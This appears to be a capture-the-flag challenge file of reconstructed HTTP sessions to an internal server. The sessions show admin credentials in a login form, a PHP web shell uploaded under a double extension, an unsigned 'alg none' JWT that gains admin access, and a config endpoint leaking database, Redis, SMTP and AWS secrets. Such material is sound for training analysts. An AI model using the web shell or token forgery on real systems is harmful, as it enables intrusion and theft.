# ============================================================
# CTF Challenge: HTTP Session Capture
# Captured via: mitmproxy / tcpdump -A reconstruction
# Target network: 192.168.1.0/24
# Internal web server: 10.0.5.20
# ============================================================

===== SESSION 1: Normal GET Request =====

>> REQUEST
GET /index.html HTTP/1.1
Host: www.company-internal.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 4821
Server: nginx/1.24.0
X-Powered-By: Express

[HTML content of company intranet homepage]

===== SESSION 2: LOGIN FORM SUBMISSION WITH CREDENTIALS =====

>> REQUEST
POST /auth/login HTTP/1.1
Host: 10.0.5.20
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Referer: http://10.0.5.20/login
Cookie: session_id=abc123def456; _csrf=9f8e7d6c5b4a

username=admin&password=Winter2026%21&remember_me=on&_csrf=9f8e7d6c5b4a

<< RESPONSE
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session_id=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiIsImlhdCI6MTc0OTQ2MTYwMH0.FAKE_SIGNATURE_HERE; Path=/; HttpOnly
Set-Cookie: user_role=superadmin; Path=/
X-Auth-Token: tk_live_a8f3e92b1c7d4056
Content-Length: 0

===== SESSION 3: API CALL WITH TOKEN IN HEADER =====

>> REQUEST
GET /api/v2/users?page=1&limit=100 HTTP/1.1
Host: 10.0.5.20
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiIsImlhdCI6MTc0OTQ2MTYwMH0.FAKE_SIGNATURE_HERE
Accept: application/json
X-API-Key: sk_prod_4f8a2e91c3b76d05e1f2a3b4c5d6e7f8
User-Agent: InternalApp/2.1

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2847

{"users":[{"id":1,"username":"admin","email":"admin@company-internal.com","role":"superadmin","last_login":"2026-04-09T08:52:00Z"},{"id":2,"username":"jdoe","email":"jdoe@company-internal.com","role":"user","last_login":"2026-04-08T17:30:00Z"},{"id":3,"username":"svc_backup","email":"backup@company-internal.com","role":"service","api_key":"sk_svc_9a8b7c6d5e4f3210"},{"id":4,"username":"dbadmin","email":"dba@company-internal.com","role":"admin","last_login":"2026-04-09T07:11:00Z"}]}

===== SESSION 4: Normal CSS/JS Resource Fetch =====

>> REQUEST
GET /static/css/main.bundle.css HTTP/1.1
Host: 10.0.5.20
Accept: text/css
Referer: http://10.0.5.20/dashboard

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: text/css
Content-Length: 18432
Cache-Control: public, max-age=86400

[CSS content omitted]

===== SESSION 5: SUSPICIOUS FILE UPLOAD =====

>> REQUEST
POST /api/v2/upload HTTP/1.1
Host: 10.0.5.20
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiIsImlhdCI6MTc0OTQ2MTYwMH0.FAKE_SIGNATURE_HERE
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1456

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="report.pdf.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){echo shell_exec($_GET['cmd']);} ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

<< RESPONSE
HTTP/1.1 201 Created
Content-Type: application/json
Content-Length: 128

{"status":"success","file_id":"f8a3e92b","path":"/uploads/report.pdf.php","message":"File uploaded successfully"}

===== SESSION 6: COOKIE MANIPULATION / PRIVILEGE ESCALATION =====

>> REQUEST
GET /admin/settings HTTP/1.1
Host: 10.0.5.20
Cookie: session_id=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoic3VwZXJhZG1pbiIsImlhdCI6MTc0OTQ2MTYwMH0.; user_role=superadmin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 6204
Server: nginx/1.24.0

[Admin settings page HTML — access should be restricted]

===== SESSION 7: API KEY ENUMERATION =====

>> REQUEST
GET /api/v2/config HTTP/1.1
Host: 10.0.5.20
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiIsImlhdCI6MTc0OTQ2MTYwMH0.FAKE_SIGNATURE_HERE
Accept: application/json

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json

{"database":{"host":"10.0.5.30","port":5432,"name":"production_db","user":"app_user","password":"Pr0d_DB!2026"},"redis":{"host":"10.0.5.31","port":6379,"auth":"r3d1s_s3cr3t"},"smtp":{"host":"smtp.company-internal.com","user":"noreply@company-internal.com","password":"SmtpP@ss!"},"aws":{"access_key":"AKIAIOSFODNN7EXAMPLE","secret_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}}

===== SESSION 8: Normal API Health Check =====

>> REQUEST
GET /api/v2/health HTTP/1.1
Host: 10.0.5.20
Accept: application/json

<< RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 89

{"status":"healthy","version":"2.1.4","uptime_seconds":284710,"database":"connected"}